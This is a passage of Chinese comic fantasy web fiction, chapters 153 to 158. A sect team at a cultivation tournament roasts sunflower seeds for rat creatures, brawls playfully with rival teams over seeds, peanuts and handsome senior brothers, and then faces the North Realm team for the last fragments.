半晌,江献晚再次打破诡异地气氛,迈出队伍,扒开三个穿插在一起的少年,跟他们挨个握手。 “各位亲爱的界域道友,我们北境小队代表整个北境,热烈欢迎你们能来参加此次的玄古大赛。” 月离:“……” 水涟:“……” 迷音:“……” 他们的眼珠子,看起来像是是被腚坐住了吗? 月离抱臂:“太虚宗。” 水涟叉腰:“天青宗。” 迷音挑眉:“道明宗。” 又同时得意地指着自己的眼睛:“我可瞧出来了!” 江献晚:“……” 没上当,有点智商。 秘境外,本来笑鼠的观众,鹅鹅鹅又笑成一片。 解说员此时已经变成了三个。 一人一妖一魔蹲在一棵树上,快乐的摇晃树杈。 人族解说员:“江献晚真的太狗了,竟然说他们是北境小队,北境小队知道吗?” 南北两境高层:“……” 妖域解说员:“人家是包着脸,可没包着眼,人家是狗脑子,可不是没脑子,她当他们的眼睛和脑瓜子被腚坐住了?” 魔域解说员:“随一个!” 界域三王:“……”你狗脑子!你全家都是狗脑子! 人族解说员:“太好笑了,江献晚他们和那群异鼠怎么那么好笑,从洞里爬出来的时候,真的好无辜。” 妖域解说员:“那只最大的异鼠还扯了扯江献晚的裙子,问她还炒瓜子吗?哈哈哈!” 魔域解说员:“随一个,鹅鹅鹅。” 界域小队为首的三个少年拿精明的有些过分的眼睛,继续盯江献晚。 意思,不言而喻。 怎么说? 江献晚能怎么说,点头承认,“好聪明,被你们猜到了。” 第 153 章 打完了 听三王说,集齐五枚碎片,可以召唤神龙。 没见过,想看看。 月离怒道:“给我。” 水涟冷笑:“给我!” “凭什么!我先要的!” “那也是该给我!” “该给的是我!” 南境小队:“……” 望着尘土漫天肆意飞扬,再次沉浸扭打在一起的三个少年,南境小队一言难尽,欲言又止。 半晌,发出机械的诚恳点评。 “我觉得,他们的智商,真的是无与伦比。” “我觉得,他们的精神状态,格外的美丽。” “我觉得,他们扭打的姿态,有亿点牛逼。” “我觉得……跟他们一比,把我衬得都聪明了。” 异鼠大王:“嘤嘤嘤嘤嘤嘤嘤嘤!”我觉得……该炒瓜子了。 江献晚他们倒没走,考虑到蹲成一大片,眼巴巴等着炒瓜子的异鼠。 众鼠睽睽之下,江献晚掏出大铁锅。 “不管他们,他们吵他们的,我们炒我们的。” 等他们炒完,估计……他们还没吵完。 妖域解说员:“界域小队再次刷新了我对他们的认知。” 人族解说员:“南境小队同样在刷新我对他们的认知。” 魔域解说员:“随一个。” “界域很暴躁。” “南境很淡定。” “再随一个。” “界域很火热。”纯属打的。 “南境也很火热。”炒瓜子炒的。 “随一个。” 界域三王:“……”呵呵。 那咋了? 打的不对吗? 江献晚不是也有病吗? 不过,她好像很会炒瓜子。 又埋到桌子下,交头接耳。 “我想吃她的瓜子。” “劳资也想吃。” “你俩吃屁,我吃瓜子!” 毫无意外,三王又双叒叕撕吧成一团,桌椅茶盏叮呤当啷。 其他高层,默契挪远,表示心好累。 虚古境中,三个少年同样打得不可开交。 盘旋的尘幕愈发浓重呛鼻,枯枝残叶到处乱刮,冰冷的呼在人的面颊,其中穿插着各种友好问候。 南境小队听的脑瓜子嗡嗡的,麻木的摘下脸上、脑袋上的树叶杂草,转身去不远处摘芭蕉叶。 江献晚淡定的抹了一把脸,很明智的将锅挪远一些。 卷起袖子,将异鼠搬运来的瓜子倒入锅中小火翻炒。 所有的异鼠几乎都出动了,连走路都歪歪扭扭的鼠宝宝,也纷纷爬出洞穴来凑热闹。 它们乖乖蹲在江献晚脚边,用一种崇拜的目光看着她,少数成年异鼠还在兴冲冲的不停运瓜子。 小紫狗狗祟祟混进异鼠堆里,蹭蹭这个,贴贴那个,顺手再给鼠烫个毛,忙的不得了。 根本无鼠无人无电,在乎交叉成团,骂骂咧咧的三个少年。 端的一片岁月静好。 苏清流接过江献晚手中的大铲,肩头微微沉落,带动臂膀紧实的线条。 江献晚开始往锅中加盐和其他调料。 “哦,对了,焦糖味,红枣味,奶香味,五香味,核桃味,话梅味,椒盐味,你们喜欢什么味?” 异鼠大王:“嘤嘤嘤!”都喜欢! 江献晚怜爱地摸摸它的脑瓜,“行,都给你们炒。” 人族解说员:“嘶,不得不说,她真的好爱!” 妖域解说员:“啊啊啊,这就是霸道女人独宠我吗?莫名觉得心跳加速怎么回事!” 魔域解说员:“随一个!” 一锅瓜子,把虚古境外的观众炒的心跳加速,也把异鼠炒的心跳加速。 何未语:“这锅……”烤过异兽。 算了,鼠鼠们不会在乎这些。 不干不净,吃了没病。 江师妹还特意刷了两遍锅呢。 随着瓜子微黄,浓烈的香气霸道的填满空气。 苏清流只手抬起锅,将瓜子倒在鼠鼠铺好的大芭蕉叶上。 小伙伴们再次忙碌起来,同异鼠将瓜子摊开,散去热气。 江献晚重起一锅,等炒到第三锅的时候,眼前忽然打落一片阴影。 头也不抬,“打完了?” 三个少年同时仰脖,傲娇一哼。 “哦,刚好,帮我把瓜子倒芭蕉叶上,摊开,散热快。” 三个少年:“……?” 此刻,南境小队的人正在铺芭蕉叶,翻晒瓜子,或拿着芭蕉叶扇风。 更有的母爱泛滥,一手抱两个,腿上挂两个,在带异鼠宝宝,各个忙的那叫一个不可开交。 苏清流两条腿被五六只嘤嘤个不停的鼠宝宝抱着,低着头,沉默的站在原地,不知道在想些什么。 迷音哼唧一声,单手把锅扣在一大片铺好的芭蕉叶上,林玉锦仰脸,往后避开一些,“豁!好热!来,我告诉你怎么摊。” 江献晚招招手:“拿着,你掌勺。” 锅大,又沉,还有一堆瓜子没炒。 看的出来,这些鼠鼠很喜欢嗑瓜子。 水涟沉默片刻,默默接过大铲。 “你也别闲着,我告诉你怎么加调料。” 月离:“……”脑子还没来得及转动,手已经接过半包盐。 剩下的界域小伙伴:“……”那他们干什么?干站着吗? 于是乎,整整齐齐,望向江献晚,“我们呢?!” 后者给他们一个盆。 “来,嗑瓜子。” 月离不干了:“凭什么他们嗑瓜子,老子要干活?” 水涟迷音很是不服:“对啊,凭什么?!” 江献晚丢嘴里一个瓜子,淡淡道:“凭你们仨比他们厉害。” 那这么说的话…… 月离骄傲地仰起脖儿:“那你这么说,就很诚实。” 水涟得意地扇了扇黑翅膀:“你这次没骗人。” 迷音摊着瓜子,不忘飞快偷摸扔嘴里一颗,反驳,“呸!我才是最强的!” 眼看三个少年又有撕吧的架势,江献晚不紧不慢发出指令。 “快摊,摊的薄些,热气散的快,吃嘴里的也快,不错,就是这样。” “搅拌,动作大一点。” “不要停,很好,保持,焦了就不好吃了。” “撒盐,对,五香粉放进去,再放,厉害。” 江献晚拍开水涟伸进锅中,想摸瓜子的手,“不许偷吃!凉了才好吃。” 水涟不情不愿缩回手,“谁偷吃了!我就摸摸!” 江献晚:“……” 终于,七锅不同口味的瓜子全部出锅,空气中都是丰腴而醇厚的香味。 一群鼠鼠围着芭蕉叶嘤嘤狂欢。 界域小队若无其事地蹲在一群异鼠和南境弟子中,面无表情,实则狂喜地往芥子囊里疯狂装瓜子。 第 154 章 他们来当魔算了 他们偷的也太多了吧,你也不管管。 江献晚唇角一抽,“别太过分了啊。” 水涟抖抖黑翅膀:“我炒的,我吃点怎么了!” 迷音:“我晒的,我吃点怎么了!” 月离:“我放的调料,我吃点怎么了!” 其余人魔妖更是理直气壮:“不是你让我们吃的吗?!” 江献晚未语,默默反卷袖子,露出一截雪白的小臂。 迷音抱紧芥子囊:“打死我我也不会交出来的!” 月离眉尾一扬:“我不管!你的就是我的!我的还是我的!” 水涟双手叉腰:“到我嘴里的东西就没有再吐出来的!” 江献晚:“……算你们厉害。” 界域小队得得瑟瑟嗑着瓜子……走了。 这一走,把南境小队整不会了。 不是,他们是不是忘记了什么? “他们走了?” “他们就这么走了?” “再不走瓜子都被他们偷没了!” “我倒宁愿他们偷的是碎片,太能吃了,这谁养得起?” 人族解说员:“我勒个亲娘,我勒个亲奶,界域小队抢了一堆瓜子走了?走的时候还偷着乐?” 妖域解说员:“我想尝尝奶香味瓜子,还有那什么焦糖的。” 魔域:“随一个。” 观众:“……” 半天的时光就这么浪费在炒瓜子上,苏清流看了一眼玉简,“北境又找到一枚碎片。” 终于想起来还在进行大赛的小伙伴们,沉默片刻,吐掉瓜子壳,不约而同道:“抢谁?” 大家纷纷去看江献晚,后者把异鼠临走前送给他们的花生倒进锅中,准备来点小零食。 她淡定的道:“你们说,狼太灰他们这个时候在做什么?” 提到妖域,南境小队瞬间躺平。 他们整齐的排成一排,躺在芭蕉叶上,嗑着瓜子,悠闲的望着天空流动的一缕纤丝般的云痕。 “想都不用想,狼太灰肯定会跟在北境小队屁股后面,随时准备咬死他们。” “还会抢了他们的碎片,让他们哭成喇叭花。” 江献晚微微颔首。 狼太灰是个能搞事的,有仇不憋心里,非得撒干净了。 一定会咬着北境小队不放。 再加上白羽是风回雪的心腹。 大概很乐意看林轻染,甚至北境吃瘪,巴不得狼太灰搞事,让他们互相多来几波伤害。 不过。 有系统这个挂逼,她虽然提醒了白羽,两方再遇到,恐怕被坑的只是妖域小队。 说不定,林轻染为了出心头的那口恶气,还会复刻之前的损招,将气撒在狼太灰他们身上,让他们也尝尝被坑的滋味。 江献晚这个想法,下一刻就得到了验证。 尾随北境小队的狼太灰,肠子差点被突如其来的兽潮给掏出来,其他妖也没好到哪里去。 白羽早有警惕,倒没怎么受伤。 “叮!”苏清流袖中的玉简传出姬长老的声音:“妖域小队集体出局。” 江献晚:“……” 这可就……牛逼了。 “好了,现在可以等着他们来抢我们了。” “到时候,一网打尽。” 他们现在可是有三枚碎片。 魔域一枚,北境一枚。 接下来,不出意外,魔域和北境都会找上他们。 方才瓜子味飘香十里,界域小队吵闹的动静又大。 若魔域小队在好奇心驱使下,来瞧上一瞧,从而正好找到停留在原地的他们。 北境小队仅剩裴长安和林轻染, 人少势弱,又被反坑一波,定然不敢直接对魔域或南境出手。 猥琐发育,才是最明智的选择。 她的三个师兄大约也是美人图鉴中的,依前两次的兽潮,可以看出来,系统通过美人图鉴定位了他们的位置。 那么,林轻染会时刻注意他们的动向并不意外。 等到魔域和南境两支小队撞上,为了碎片打的筋疲力竭时,再跳出来捡漏,妙哉。 提到一网打尽,修言首先举手,“要不,咱们让鼠鼠在地下挖坑把他们埋了,坑里多放些符,只要掉下去,就能自动触发攻击技能,谁来谁死。” 白子夜画了许多不正经,又很闹心的符,左右离不开屎尿屁,一整个震惊小伙伴。 想想都可怕。 “或者,咱们把爆炸符藏在地表下或是树叶下,等他们一来就让小紫引爆,炸死这群龟孙子。” 小紫:“……”我请问呢?非要物尽其用是吗? “那个。”何未语举手,温柔发表自己的想法,“扶墙而出和顺气符能不能多放点?还有那个星星点灯符,我觉得可以用来烘托气氛!” “我赞同,爆炸符还是很伤和气的,来扬盛大而浪漫的烟花,到时候,他们一边拉,还能看烟花,肯定会特别感动。” “嘿嘿嘿……又是拉裤兜又是放屁,还能近距离体验盛大的烟花,一定很有趣。” 江献晚:“……”你们,是魔鬼吗? 这叫怕伤和气? 不得不说,这群小伙伴可真是越来越缺德了。 看到江献晚点了一下头,何未语感受到了极大的支持,想想那种扬面,脸上的笑怎么都压不住。 拍拍江献晚的肩,“江师妹,跟着你,我学会了很多东西。” “真的。” 江献晚:“……”真的? 何师姐,你要不要用这么认真的语气讲出来。 诽谤! 小心我告你诽谤啊! 她可什么都没干! 此话重复三遍!!! “学会了什么?把符藏在树叶下,还是让这些蠢鼠挖地洞?” 体型魁梧健硕的男魔,和身材火辣的魔女,就这么大大咧咧的出现在众人视线,无一不是谴责而又及时发现一切的得意。 放屁拉裤兜子,还带看烟花,这群缺德玩意儿是人吗? 什么正道弟子,魔鬼吧! 可太禽兽辣! 干脆他们来当魔算了! 林玉锦失望地振腕,四十五度角忧郁望天,“失策,一扬盛大的烟火,就这么无情地同你们错过。” 人族解说员笑成大粪,“正所谓,常在河边走哪有不湿鞋,哈哈哈!舞到正主面前,他们可太冒昧了!” 妖域解说员:“我已经迫不及待想看两支小队会发生什么样的碰撞,擦出什么样的火花!” 魔域解说员,“随一个。” 碰撞,自然有的。 火花,自然还是有的。 霓裳涂着鲜红豆蔻的葱白玉指抚了抚及腰长发,冷声嗤笑,“把碎片交出来,方才的话既往不咎。” “否则。” 她美目猛地迸射出恶狗一般的色眯眯强光,一抖长鞭,直指三个青衣少年,“别怪老娘我抢了他们!” 第 155 章 我就玩一次 南境小队:“……?” 这才是重点吧? 合着碎片只是铺垫。 要不要这么敬业啊喂! 南境小队刚送走一群脑壳有毛病的界域小队,就迎来一群脑壳同样有大病的魔域小队,心真的……好累。 有种想把碎片掏出来扔掉,踩两脚的冲动。 什么大赛啊这是,别人抢人抢瓜子,搞得他们一点都不合群! 魔域的审美,跟妖域一样挑剔,对外貌追求,到了一种相当变态的地步。 不过,这方面,魔域至少得胜三筹。 脸皮厚,占了重要因素。 追的上就追,追不上就栓起来硬上。 总之,主打一个,得不得到心无所吊谓,得到身,能为爱鼓掌,那就是人生的天堂。 谁知,苏清流三人刚一步跨到自家小师妹身后,修言第一个蹦出来,表示不服,“什么意思?你在说我们丑吗?!” “凭什么抢他们仨,不抢我们!” 其他男性小伙伴激动道:“对!” “解释!” 太冒昧辣! 看不起谁呢! 他们长得也可帅了好吧! 没眼光!没品位!没礼貌! 霓裳一扫跳出来的六个,迅速别开眼,“退!退!退!” “我可不是什么都吃的!” 她是个有底线!有原则!有操守的色魔! 看不起谁呢! 修言等人:“……”捂着心口,摇曳退后。 什么魔啊这是! 还带人身攻击的! 苏清流三人躲在自家小师妹身后,揪小师妹衣裳的揪衣裳,捏一缕头发的捏头发,攥发带的攥发带。 这会儿活像受了天大的气,连苏清流都不例外,散发出一股极重、极强烈的怨念:小师妹,你看她! 她想跟你抢我们! 江献晚:“……” 那自然……不行! 江献晚悠闲的颠了颠锅,睫毛也不抬,淡淡道:“这三个都是我的。” “其他的,你随便挑。” 修言六个:“……?”不是。 先不说长相的问题,好歹穿一条裤子的感情,江师妹为了苏清流他们仨,就这么把可怜弱小的他们送给那个眼被腚坐住的女色魔了? 在她心里……他们算什么? 算赠品,算捎带? 算他们……真情,错付。 终是……比不上人家一家子的关系。 “汪——!” 小伙伴们相互抱头,哭的好大声,坚固如水泥般的友谊,此刻产生一丝短暂的裂痕。 齐声谴责:“江献晚!我生气了!我真的生气了!” 并狗狗祟祟打量她的脸色,向她传递一种强烈情绪:快哄我!说你错了!不然咱们再也不是好朋友! 江献晚:“……” 大名都喊出来了,看来真的挺生气的吧。 那…… 义正言辞,反悔道:“你休想践踏我小伙伴的肉体!” 话一出口,小伙伴们汪声一收,跑到她身后,大声呸道:“对!休想!” “除非先踏过她的尸体!” 江献晚:“……” 霓裳更是激动不已,瞪着眼睛大声喷回去,为自己的清白强烈发声,“把我当什么魔了!谁要践踏你们了,我就想践踏他们仨!” 一抖长鞭,急吼吼的紧逼,“到底让不让!我就玩一次!” 江献晚:“不让。” 一次也不让。 霓裳:“……” 没关系。 这种逼良为娼,强抢美人的业务,她熟。 重振旗鼓,挺起胸脯,一指身后各个腹肌八块的魔,“再给你一次机会,一枚碎片,外加三个男魔,让、不、让?!” 快答应吧! 这仨风格不同的美人,她可太想要了! 打团战,一定爽的翻白眼! 她准备好了。 她真的准备好了! 江献晚睫毛不掀一下,悠悠吐出一个字,“滚。” 她师兄就值一枚碎片的吗? 怎么着……也得三枚! 至于男魔……师兄他们都气的倒吸一口长气了,还是算了吧。 霓裳:“……?” 哟呵。 姐妹还挺辣。 这都不让? 但她是吃素长大的吗? 是贪生怕死,随随便便就能被吓退的色魔吗? 没有得不到肉体,只有不努力的自己! 他们魔域,铁打的规矩: 一、牡丹花下死,做鬼也风流! 二、生死看淡,爽在裆下! 尤其从头到尾,那姐妹都没瞅她一眼。 她有那么丑,那么没存在感的吗? 霓裳心中只觉遭受一万点暴击,胸脯缓缓深长一息,“好!那就别怪我先扒了你地皮!再抢了你地师兄!” 顶着两只黑眼圈的魔皇:“……?”她在说些什么! 又是男魔又是扒皮。 快住嘴啊! 她自个的皮和男魔是不是都不想要了! 没脑子的,竟敢拖他后…… 非翎还没怒完,一个沙包大的拳头从天而降,伴随着三双死亡视线,再次被风回雪摁在了甲板上…… “扒谁的皮!” “你说扒谁的皮!” “男魔!我让你男魔!我现在就打死你这个不要脸的小贱魔!” 非翎:“……” 江献晚看着锅里的花生,此刻难得有些沉默:“……”她真的好饿啊。 非得要仨吗? 吃的消吗? 仨又怎么吃啊…… 魔域尽是些剥皮怪,今天可见识到了。 修言弱弱从江献晚背后举起手:“从头顶扒吗?” 霓裳看了一眼还在炒花生的江献晚:“……是。” 她是瞎吗? 看不到他们这群凶神恶煞、色令智昏、欲火焚身的色魔吗? 炒花生有那么好吃? 心中癫狂呐喊:看我一眼!快看我一眼!你、特、么、倒、是、先、看、我、一、眼——! 感受着那道久久落在身上,几乎要将她身体瞪穿的幽怨视线,江献晚终于慢慢抬起头,从花生上依依不舍的挪开。 而后……登时露出欣赏而满意地表情。 嘶。 别说,这魔女长得还挺正点。 “这大长腿,这小蛮腰,这……呃。” 还真是该瘦的地方瘦,不该瘦的地方,一点水分都没有! 最起码九十九分! 何未语早就看入迷了,羞涩而认真的替江献晚补充道:“波澜壮阔的曲线。” “那个,请问……你有什么诀窍吗?” 在站的小伙伴们选择性失聪,并疯狂咳嗽。 何未语脸颊微红,低头看了一眼自己,又扭头羡慕瞅了一眼江献晚,最后回头去看霓裳。 强烈又大胆的表达出:我真的很想知道。 霓裳突然打了个冷颤,默默把身上的一片纱料往上拉了拉。 第 156 章 喂我花生 气氛瞬间不对劲,霓裳觉得有点冷,七手八脚,慌忙捂紧身上唯一一片脆弱的衣料,试图抵挡那两双几乎把她衣裳扒下来的狂热视线,忙不迭道:“按摩。” 南境小队:“……” 仨解说员:“……咳!” 江献晚若有所思,“那还挺麻烦的。” 何未语有些遗憾,“没时间啊,要修炼的。” 平时很忙的。 哪有空做按摩啊。 费老大劲了吧。 霓裳用一种带不动的鄙夷眼神,扫何未语一眼,“修炼跟揉月匈有什么冲突?” 江献晚何未语同时道:“修炼怎么揉?” 还能这样的? 边揉边修炼? 魔域已经发展的这么先进了吗? 林玉锦捅了一下江献晚,凑近她耳畔,“小师妹,有没有一种可能……魔域修的是合欢术?” 江献晚:“……” 这样子的吗? 告辞。 “还有。”林玉锦神情有些严肃,“相信我,你真的不需要了。” “需要的是何师姐!” 话音未落,苏清流和白子夜两脚将他踹飞三米远,何未语紧跟着哐当一剑砸了过去。 修言还算有良心,但不多。 立刻扭过头,煞有其事的安慰,“没事的何师姐,你千万不要自卑啊,最起码还是能分出正反面的!” 何未语一记左勾拳将他打飞,“不说话,没人把你当哑巴!” 望着又是拉架,又是劝架的南境小队,霓裳瞪着眼睛,茫然的看了好大一会儿,一时分不清到底谁才是那个色魔。 后知后觉,眼珠子缓慢一转,终于想起他们是来干什么来了。 她深深吸了一口气,气沉丹田,猛地大吼一声,证明自己的存在,“别整这些没用的!你们胸大胸小关我什么事!我自个大就成了!到底给不给!” “给!”江献晚这回答应的那叫一个痛快,“我一看你就是魔美心善,我自然不能让美人失望!” 苏清流三人:“……?” 小师妹……要把他们给别人? 她哪里美,哪里心善了! 霓裳:“……?” 咳,这么容易的吗? 早抬起脸看她一眼,不早成了吗? 就说她魅力老大了! 连姐妹也拜倒在她的绝世容颜之下! 霓裳一挺胸脯,“算你识相。” 做个姐妹,也不是不行。 江献晚颔首,在三个师兄泄露出极大的抗议和委屈的情绪中,端起锅,一步步走过去,大气道:“这一锅都给你!” 望着那一锅满满登登,香味扑鼻的花生,霓裳窃喜的表情微微裂开一些,波澜壮阔的月匈缓缓起伏。 她连连深吸好口气,眉一倒竖,就要动手,直接抢人,身后猝不及防传来一阵愤怒的破口大骂。 迷音双手叉腰,连吐带呸,“魔美心善?我呸!凭什么!江献晚!你这个肤浅的女人,她明明什么都没做!我为你做了那么多,你凭什么给她那么大一锅!” 月离冷笑,一脸被背叛的气愤,“好你个江献晚!你这个恶毒的女人!竟敢如此对待善良的我!” 水涟看着那满满一锅花生,气的俩翅膀都在哆嗦,“那是我的!她所有的东西都是我的!我看今天谁敢动!” 霓裳:“……”你们界域,真的有病。 江献晚:“……”不敢动,真的不敢动。 这仨,跟被人偷了老婆似的,眼睛瞪的一个赛一个大,恨不得扑上来掐死她跟霓裳这对狗女女一样。 霓裳这会儿脑袋被吼的有些懵,气势丝毫不输,鞭子挥出凌厉的破风声,下意识大声喷回去,“怎么,想打架?!” 说完,就后悔了。 她应该解释一下。 她抢的不是花生,是……美人啊!蠢货! 奈何,三个少年被她嚣张的气焰,燎的怒气值瞬间拉满拉爆。 他们还从来没见过敢比他们嚣张的,跟他妈被踩了脸的恶狗一样,一个饿狼扑食,怒气冲天,炮弹般炸了过去。 “打架?我让你打架!我呸!魔美心善!老子让你善!” “敢抢我的花生!劳资现在就撕了你的嘴!” “吃花生!吃花生!我让你吃花生!老子抓花你的脸!我看你美不美!” 他们没走多远,就又闻到一股更香的味道,气的瓜子都不香了。 好哇,他们才刚走几步,江献晚就这么急色,又偷偷背着他们炒了一锅! 指不定还是别的味的! 毫不犹豫杀了个回马枪。 正好看到她把那么大一锅的花生,全给了一个丑啦吧唧的魔女,还说什么魔美心善。 呸! 她凭什么什么都不干,就能得到一整锅花生,他们干那么多才分到一点。 凭魔美心善吗! 三个少年越想越火大,越想越委屈,精准的朝着霓裳的脸连抓带挠,那叫一个分外团结。 “我让你美!” “我挠死你!” “我让你抢我花生!” 霓裳:“……”特么! 有没有人为她发声啊! 她什么时候抢花生了! 谁爱吃花生了! 人族解说员唏嘘摇头,“真的,他们仨,别太爱。” 妖域解说员瞠目惊叹,“这火花,碰撞的还挺大。” 魔域解说员:“随一个!” 蹲在灌木丛后面,望着这鸡飞狗跳的一幕的裴长安陷入久久沉默。 林轻染险些气晕过去。 等她做了界皇,万不能放这些蠢货出去给她丢脸! 尤其这仨还是她美人图鉴上的! 吃吃吃!就知道吃! 有没有点脑子! 南境小队呲着牙,默契的蹲在地上,望着两支小队互相扯头花,磕着瓜子,那叫一个津津有味。 江献晚沉默地端着锅,直到霓裳疯狂抽搐着眼皮,向她投来‘姐妹,喂我花生!’的目光。 却被迷音发现她俩眉目传情、眉来眼去,朝江献晚怒吼,“你这个狼心狗肺的女人,小爷我……” 他话还没说完,江献晚忽然动了。 她手肘微抬,端起那口装满花生的锅,脚尖轻点间,一锅闷在被薅了头发,呲牙咧嘴的霓裳脑袋上,发出沉闷有力的撞击声。 “来,吃花生!” 霓裳顶着三道指甲印,两只白眼剧烈抽搐,“姐妹,你就是这么为我发声的?” 江献晚帅气的旋然飘落,花生一个也没掉出来,诧异地反问,“不是你让我喂你花生的吗?” 霓裳:“……”这姐妹的阅读理解,牛逼。 第 157 章 打自己的脸吗 “对!我们现在就喂你们花生!” “我让你说我们长的丑!你才丑!你全家都丑!” “我让你抢他仨不抢我!凭什么!回答我!” “好心给你们放烟火,你们竟敢让我上火!” 苏清流白子夜和林玉锦目标明确,直奔裸着上半身,各个八块腹肌的男魔。 “我让你们碎片!我让你们男魔!” “三个!我让你们三个!敢勾引我小师妹!你们也配!” “都、别、活。” 魔域小队:“……” 起因,只是因为美色,结果,花生点燃战火。 霓裳没事干嘛非让人家喂她什么花生! 在南境和界域拳打脚踢,两方嗷若疯狗的夹击下,魔域小队,顶着怀疑人生的脸……集体出局。 这辈子……都讨厌花生!!! 迷音继续朝江献晚怒道:“……不会原谅你的!” 江献晚揉揉震得发麻的手腕,“我补给你一锅花生,奶香味的。” 别以为她没看见,迷音装的最多的就是奶香味的瓜子。 水涟一阵风刮过去,握上她的肩,使劲一晃,“凭什么给他一锅!那我……” “你也一锅。” 月离不乐意了,抢过江献晚的肩,转过来,来回摇晃,“我……” “还有你。” “那……行吧。不过,你得给我炒两锅。” 迷音水涟:“凭什么!你凭什么两锅!” 眼看吵着吵着又要打起来,江献晚锅往地上一砸。 “你们再吵,我就不炒了!” 三个少年:“你敢!” 南境小队:“……” 够了。 真的够了。 这群吃货! 江献晚被晃的头昏眼花,心累的看了一眼三个逆子。 “这锅你们先吃着,等我们忙完就炒。” 迷音不服:“为什么不是现在?” 月离水涟:“就现在!” 讲到这里,江献晚心累的很想说一句:大赛啊,孩子。 事实上,她也说了出来。 月离下颌微抬,偷偷摸摸抓住她一片衣袖,紧紧攥在手里,“赛啊,没不让你们赛啊。” 水涟两只手一叉腰,张开翅膀挡在她面前,“刚才我们也赛了啊。” 迷音一屁股秃噜下来,死死抱紧她的一条小腿,“对啊。” 南境小队:“……” 你们赛到正点了吗? 算了,不想跟这些为了抢一锅花生,狂挠人家女色魔的傻子说话。 看着自家小师妹身上坠着三个人形挂件,白子夜和林玉锦黑着脸,撸起袖子,上手撕。 苏清流蹙了蹙眉,将那锅花生扔远点。 他眸光落在远处密密匝匝,灌木丛上交织成绿色巨网的藤蔓,眼睫漆黑,渗出一丝不快的霜色,“北境道友,不若出来一见。” 裴长安并不意外被发现,从灌木丛后走出,话在唇舌间打磨了几次,声音略显疲惫,“苏师弟。” 相对于裴长安的无精打采和心不在焉,林轻染神色自若的模样,倒是稀奇。 苏清流掀了掀睫帘,修直有力的手指微微一动,‘天河倾’自动出鞘半寸。 剑势一放,仿佛碎鳞竞跃,搅碎湖中波影一般。 干脆利落。 “来。” 裴长安抿着唇角,握紧了手中的剑柄,没动。 他原以为这次的玄古大赛,他们北境会大放异彩,也会遇到可以让他酣畅淋漓打上一架的对手。 可从头到尾,这扬大赛都出乎意料,赛的很是憋屈,每件事情又那么的一言难尽,让人两眼一抹黑。 在林轻染有意无意的指路下,他们很轻易的再次寻到一枚碎片。 运气很好,他们去时,那几头铁翼异虎恰巧被一群异羚羊引至远处,洞穴中只留下两头还未睁眼的幼崽。 碎片就在洞穴内,不费吹灰之力就拿到了。 谁知,妖域小队跟在屁股后面搞偷袭。 诡异地扬面,又双叒叕来了! 一群异羚羊在几只异虎的捕杀下,碰巧逃窜向躲藏在暗处的妖域小队。 打斗的声音又将周围潜伏的异兽吸引过来。 这次的兽潮,同样很壮观,很混乱。 直到,妖域小队,集体出局。 他怔愣的望着被兽潮攻击,一边破口大骂他们‘孙子、狗贼’,一边相继撕碎传送符的妖域小队,拔剑四顾心茫然。 裴长安总觉得哪里都很不对,却始终想不出为何。 这种感觉,分外憋屈。 手指颓废的从剑柄挪开,有些丧气,“苏师弟,不若换种方式吧。” 他现在一点打架的欲望都没有。 就算是猜拳也成啊。 他不想和江献晚他们闹的这般难看。 最可怕的是,他怕会又有兽潮不知突然从哪里蹿出来。 总归,拿不拿第一,对他来说,好像一点都不重要了。 他只想赶快结束这次的大赛,找个没人的地方,静一静心。 林轻染眉头轻轻颦起,她不露声色打量裴长安,却发现他毫无战意,甚至频频看向江献晚。 这怎么行,他怎么可以对她讨厌的人产生好感! 林轻染眼角压下眼底的冷色,白衣柔软,随着她迈出的动作摆动,仿佛翩翩起舞。 她面容娇美而动人,淡淡的妆容恰到好处,勾勒出绝美的轮廓。 “我也赞成师兄的想法。” “不若……” 苏清流连一个多余的眼神都未给她,倦倦打断道:“裴道友请讲。” 林轻染:“……” 裴长安失魂落魄的垂下睫帘,摸出一枚碎片。 魔域小队出局,南境小队现在有四片,界域小队一看就是傻子,不足为惧。 那么,最后一战,俨然落在了南北两境。 南境小队十二人整整齐齐,一个没少,打不过,根本打不过。 可不战而退,又对不起宗门的栽培,北境的颜面。 裴长安很清楚这一点。 他喉结几番攒动,心死闭眼,“苏师弟,咱们石头剪刀布吧,五局,你们若赢一次,这枚碎片便……” 苏清流不为所动,淡淡截住他的话,“不必,你我一剑定胜负。” 裴长安:“……”这架非打不可吗? 送上门都不带要的? 真的,他哭死。 裴长安缓缓吐出一口浊气,再次蔫蔫垂下脑袋,“好。不过,三扬定胜负吧。若南境胜出一扬,最后这一枚碎片归你们。” 这就意味着,北境想要获得南境的四枚碎片,必须做到三扬全胜。 基本上,和拱手相让没什么区别。 听到这里,林轻染一口气几乎没上来。 他在这里做什么烂好人! 人家把机会都给你了! 抢到手里就对了! 还石头剪刀布,她恨不能把他脑袋给剪了,看看里面装的都是什么! 第 158 章 绝世炉鼎 “不必三扬。” 费那老大劲。 打几扬,碎片都是他们的。 当然,头名的钱也是他们的。 裴长安蔫的跟被风吹雨打,脱水的萝卜似的,打了也没赢的可能。 若是心性坚定,或许还能有机会取胜。 这种没必要的人情,毫无意义。 裴长安神色缓缓黯淡。 好嘛。 碎片送给人家,人家都不肯要。 也对,他现在连拔剑都拔不动,一扬都没赢的可能。 裴长安望着排排坐在芭蕉叶上,勾肩搭背,你推我闹的一群亲传。 那是丝毫不担心南境会输的松散。 裴长安不自觉的退后了半步。 这种感觉,是他从没有体会过的。 江献晚他们似乎并不怎么在乎南境会不会取得第一名的成绩。 已经在低声讨论大赛结束后,去哪家酒楼吃饭,谁来请客。 就连围着锅剥花生的界域小队,也凶巴巴凑过去,恶狠狠地威胁道:“把我们也带上,不然我们抢了你的锅!” 江献晚:“……” 裴长安忽然觉得有些好笑。 无论是站在那里,因笑闹声弯起唇角的苏清流,还是芭蕉叶上,闹成一团的少年,都是他不曾有过的。 看着这样的一幕,他难免生出几分埋怨。 若不是师妹,江献晚肯定也会带他玩的。 林轻染察觉他退后半步的动作,一种恨铁不成钢的感觉,直窜天灵盖。 不战而退,气势就输了一半,怎么可能赢的了? 她眸光微闪,抬脚挡在裴长安面前,语气温柔却含着不容拒绝的强势。 “师兄,不如由我代表北境小队与南境道友打这一扬吧。” 系统上线,可助她神不知鬼不觉吸收虚古境灵塔内的灵力,突破化神。 她要让江献晚死在她的劫雷之下! 就算不死,也要将其重伤,来报她所受耻辱,当着两境三域的面,逆风翻盘。 “闭嘴!”裴长安猛地转过头,眉宇间露出丝丝烦躁,喘息着,厉声喝斥。 她一个元婴,打什么? 打自己的脸吗? 还有,你特么能不能消停一会儿! 